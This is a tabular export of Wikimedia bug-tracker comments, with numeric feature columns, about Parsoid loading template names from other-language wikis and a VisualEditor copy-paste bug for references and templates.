252021,Parsoid sometimes loads content from another wiki,Related URL: https://gerrit.wikimedia.org/r/69905 (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d),,,1371845423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I495c294a5dbafadac133c0b377b576d297ca529d)
252014,Parsoid sometimes loads content from another wiki,https://gerrit.wikimedia.org/r/69880 (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d) | change APPROVED and MERGED [by jenkins-bot],,,1371834699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d) | change APPROVED and MERGED [by jenkins-bot]
252008,Parsoid sometimes loads content from another wiki,Related URL: https://gerrit.wikimedia.org/r/69880 (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d),,,1371834091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I52abbc10e5fe6a6b9d97ef6d842943809c8f6d6d)
252001,Parsoid sometimes loads content from another wiki,*** Bug 49939 has been marked as a duplicate of this bug. ***,,,1371829646,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49939 has been marked as a duplicate of this bug. ***
251996,Parsoid sometimes loads content from another wiki,New report: But 49939,,,1371829621,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,New report: But 49939
251991,Parsoid sometimes loads content from another wiki,Since there are no new reports it seems that this bug has been fixed by our config clean-up. Please reopen if you encounter this bug again.,,,1371774436,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,10.0,13.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9,Since there are no new reports it seems that this bug has been fixed by our config clean-up. Please reopen if you encounter this bug again.
251985,Parsoid sometimes loads content from another wiki,I think this is now fixed.,,,1371774406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,I think this is now fixed.
251981,Parsoid sometimes loads content from another wiki,*** Bug 49687 has been marked as a duplicate of this bug. ***,,,1371510441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49687 has been marked as a duplicate of this bug. ***
251977,Parsoid sometimes loads content from another wiki,We deployed a few clean-ups to our wiki configuration handling recently which might have improved the handling of API errors when retrieving the per-wiki config fails. Has this bug been seen in the wild recently?,,,1371510235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,7.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,2.0,2.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,4.341463414634147,0.8536585365853658,We deployed a few clean-ups to our wiki configuration handling recently which might have improved the handling of API errors when retrieving the per-wiki config fails. Has this bug been seen in the wild recently?
251972,Parsoid sometimes loads content from another wiki,"We've seen a bunch of reports of content from different wikis showing up, usually German content (plus one case of Russian, and now one of French apparently). Moving this to Parsoid.",,,1371172273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,21.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.0,0.8157894736842105,"We've seen a bunch of reports of content from different wikis showing up, usually German content (plus one case of Russian, and now one of French apparently). Moving this to Parsoid."
251968,Parsoid sometimes loads content from another wiki,"Happened for me on pl.wp earlier today, too, with ""Vorlage"" as well. I didn't make a screenshot and I don't remember the aricle, sorry.",,,1371171596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,6.0,0.0,6.0,0.0,9.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.393939393939394,0.8181818181818182,"Happened for me on pl.wp earlier today, too, with ""Vorlage"" as well. I didn't make a screenshot and I don't remember the aricle, sorry."
251963,Parsoid sometimes loads content from another wiki,"Created attachment 12510
Screenshot of VisualEditor on the English Wikipedia being all weird

""Vorlage""? Blergh.

My suspicion is Parsoid cache pollution.

**Attached**: {F11771}",,,1370899423,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,18.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.102564102564102,0.8205128205128205,"Created attachment 12510
Screenshot of VisualEditor on the English Wikipedia being all weird

""Vorlage""? Blergh.

My suspicion is Parsoid cache pollution.

**Attached**: {F11771}"
251956,Parsoid sometimes loads content from another wiki,"In attachment 12508, we can see that instead of the templates being shown with a green striped area atop them, there is ""Modèle:Infobox Single↵"", ""Modèle:Lari White↵↵↵↵↵"" and ""Modèle:1990s-country-song-stub"".

I'm not sure what language this is (French, maybe?), but my account is set to use English and the site is supposed to be in English.",,,1370897328,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,8.0,14.0,1.0,7.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.3295454545454546,0.7159090909090909,"In attachment 12508, we can see that instead of the templates being shown with a green striped area atop them, there is ""Modèle:Infobox Single↵"", ""Modèle:Lari White↵↵↵↵↵"" and ""Modèle:1990s-country-song-stub"".

I'm not sure what language this is (French, maybe?), but my account is set to use English and the site is supposed to be in English."
51396,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Create a document:

Foo <ref>Bar</ref> Baz
<references />

=>

Foo [1] Baz
1. Bar


==Test==
1. Select and copy from '[' to ']' (no whitespace)
2. Try to paste
3. Note you now just have plain text [1]
4. Note also if you make a larger selection (e.g. from 'o' to 'B'), copy/paste works fine.

This might be to do with whitespace truncation, and probably applies to other inline nodes.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52271
https://bugzilla.wikimedia.org/show_bug.cgi?id=54410",High,80.0,1370888760,1415030920.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_description,resolved,True,c1,2,True,False,False,-3,,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.5,0.5,4.5,0.0,0.0,0.0,0.0,0.0,3.5,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.5,2.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,11.5,0.5,1.0,2.5,0.0,0.0,0.0,0.0,6.5,0.0,2.0,0.0,2.0,5.5,4.0,0.0,4.5,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,6.0,2.831081081081081,0.6216216216216217,"Create a document:

Foo <ref>Bar</ref> Baz
<references />

=>

Foo [1] Baz
1. Bar


==Test==
1. Select and copy from '[' to ']' (no whitespace)
2. Try to paste
3. Note you now just have plain text [1]
4. Note also if you make a larger selection (e.g. from 'o' to 'B'), copy/paste works fine.

This might be to do with whitespace truncation, and probably applies to other inline nodes.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
251023,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"No, this was and remains fixed. Test in Chrome or Firefox, for example.",,,1415030920,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.8823529411764706,"No, this was and remains fixed. Test in Chrome or Firefox, for example."
251018,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"I think this is still occurring (https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox&diff=68973564&oldid=68973535 ).
I'm using Safari, and I don't know if this is related to Bug 70143.",,,1415020432,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,70,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,21.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.8275862068965517,"I think this is still occurring (URL ).
I'm using Safari, and I don't know if this is related to Bug 70143."
251012,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378923314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.9545454545454546,0.9545454545454546,"Change 83222 merged by jenkins-bot:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
251008,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

https://gerrit.wikimedia.org/r/83222",,,1378548154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,28.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.2,0.96,"Change 83222 had a related patch set uploaded by Esanders:
The Great [...] Rewrite of 2013: Clipboard edition

GERRIT_URL"
251003,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"This is still broken in FF, see bug 53375",,,1377643048,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3,1.0,"This is still broken in FF, see bug 53375"
250998,VisualEditor: Can't copy/paste a reference or template unless you select text either side,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,Fixed in master; will be deployed on Thursday as part of the regular push.
250993,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 80301 merged by jenkins-bot:
Copy-paste data fixes

https://gerrit.wikimedia.org/r/80301",,,1377634864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.9375,"Change 80301 merged by jenkins-bot:
Copy-paste data fixes

GERRIT_URL"
250989,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 80301 had a related patch set uploaded by Jforrester:
Copy-paste data fixes

https://gerrit.wikimedia.org/r/80301",,,1377546588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 80301 had a related patch set uploaded by Jforrester:
Copy-paste data fixes

GERRIT_URL"
250982,VisualEditor: Can't copy/paste a reference or template unless you select text either side,https://gerrit.wikimedia.org/r/#/c/80301/ fixes,,,1377544792,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes
250975,VisualEditor: Can't copy/paste a reference or template unless you select text either side,Note this behaviour also occurs with templates,,,1376695565,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.714285714285714,1.0,Note this behaviour also occurs with templates
